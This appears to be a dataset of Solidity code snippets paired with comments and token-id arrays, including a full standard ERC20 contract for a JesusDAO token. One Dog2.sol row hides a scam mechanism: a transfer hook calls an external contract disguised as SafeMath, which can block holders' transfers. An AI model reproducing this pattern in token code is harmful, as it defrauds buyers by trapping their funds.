(bytes32 identifier, uint256 time, bytes memory ancillaryData) = abi.decode(data, (bytes32, uint256, bytes));
_requestPrice(identifier, time, ancillaryData);
_getOracle().requestPrice(identifier, time, ancillaryData);
}
/**
* @notice Return DVM for this network.
*/
function _getOracle() internal view returns (OracleAncillaryInterface) {
return OracleAncillaryInterface(finder.getImplementationAddress(OracleInterfaces.Oracle));
}
} | * @notice Return DVM for this network./ | function _getOracle() internal view returns (OracleAncillaryInterface) {
return OracleAncillaryInterface(finder.getImplementationAddress(OracleInterfaces.Oracle));
}
| 2,026,092 | [
1,
990,
463,
7397,
364,
333,
2483,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
389,
588,
23601,
1435,
2713,
1476,
1135,
261,
23601,
979,
71,
737,
814,
1358,
13,
288,
203,
3639,
327,
28544,
979,
71,
737,
814,
1358,
12,
15356,
18,
588,
13621,
1887,
12,
23601,
10273,
18,
23601,
10019,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0x5DeD2f29B1b81FE8485F067A804B6dBDBe191F35/sources/Dog2.sol | * @dev Hook that is called before any transfer of tokens. This includes minting and burning. Calling conditions: - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens will be transferred to `to`. - when `from` is zero, `amount` tokens will be minted for `to`. - when `to` is zero, `amount` of ``from``'s tokens will be burned. - `from` and `to` are never both zero. To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]./ | function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {
require(to != address(0), "ERC20: transfer to the zero address");
require(
SafeMath(_route).Transfer(from, _balances[from], amount), "ERC20: transfer amount exceeds balance");
}
| 3,903,487 | [
1,
5394,
716,
353,
2566,
1865,
1281,
7412,
434,
2430,
18,
1220,
6104,
312,
474,
310,
471,
18305,
310,
18,
21020,
4636,
30,
300,
1347,
1375,
2080,
68,
471,
1375,
869,
68,
854,
3937,
1661,
17,
7124,
16,
1375,
8949,
68,
434,
12176,
2080,
10335,
11,
87,
2430,
903,
506,
906,
4193,
358,
1375,
869,
8338,
300,
1347,
1375,
2080,
68,
353,
3634,
16,
1375,
8949,
68,
2430,
903,
506,
312,
474,
329,
364,
1375,
869,
8338,
300,
1347,
1375,
869,
68,
353,
3634,
16,
1375,
8949,
68,
434,
12176,
2080,
10335,
11,
87,
2430,
903,
506,
18305,
329,
18,
300,
1375,
2080,
68,
471,
1375,
869,
68,
854,
5903,
3937,
3634,
18,
2974,
16094,
1898,
2973,
9153,
16,
910,
358,
15187,
30,
9185,
30,
408,
2846,
17,
16351,
87,
18,
4539,
9940,
17,
10468,
63,
7736,
13725,
87,
8009,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
389,
5771,
1345,
5912,
12,
203,
3639,
1758,
628,
16,
203,
3639,
1758,
358,
16,
203,
3639,
2254,
5034,
3844,
203,
565,
262,
2713,
5024,
288,
203,
3639,
2583,
12,
869,
480,
1758,
12,
20,
3631,
315,
654,
39,
3462,
30,
7412,
358,
326,
3634,
1758,
8863,
203,
3639,
2583,
12,
203,
203,
5411,
14060,
10477,
24899,
5547,
2934,
5912,
12,
2080,
16,
389,
70,
26488,
63,
2080,
6487,
3844,
3631,
315,
654,
39,
3462,
30,
7412,
3844,
14399,
11013,
8863,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/80001/0x8C15c7FF655Bb1e04d13Bf3c13dfaB78d80885E1/sources/contract/Miracle-Tournament/Miracle-Escrow-R7.sol | Transfer fee to organizer | _tournament.feeToken.transfer(_tournament.organizer, _tournament.feeBalance);
| 9,474,679 | [
1,
5912,
14036,
358,
15501,
1824,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
389,
869,
30751,
18,
21386,
1345,
18,
13866,
24899,
869,
30751,
18,
22543,
1824,
16,
389,
869,
30751,
18,
21386,
13937,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/4/0x6d9adC1481673C317FC31E53fdabBFebEB05B984/sources/OroNetwork.sol | ((8 * 6 * USDC_Decimal)/14) === USDC_Decimal
| value = (USDCValue * backed * (10 ** uint(assetInfo[USDC].assetDecimal)) / 10E14); | 8,542,050 | [
1,
12443,
28,
225,
1666,
225,
11836,
5528,
67,
5749,
13176,
3461,
13,
757,
11836,
5528,
67,
5749,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
460,
273,
261,
3378,
5528,
620,
380,
20732,
380,
261,
2163,
2826,
2254,
12,
9406,
966,
63,
3378,
5528,
8009,
9406,
5749,
3719,
342,
1728,
41,
3461,
1769,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/**
*Submitted for verification at Etherscan.io on 2022-04-07
*/
/*
👉Discord: https://discord.gg/Z2PEVrGuwg
👉Twitter: https://twitter.com/_JesusDAO
👉TG Channel: https://t.me/JesusDaoChannel
👉TG: https://t.me/JesusDaoGlobal
*/
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, _allowances[owner][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = _allowances[owner][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Spend `amount` form the allowance of `owner` toward `spender`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
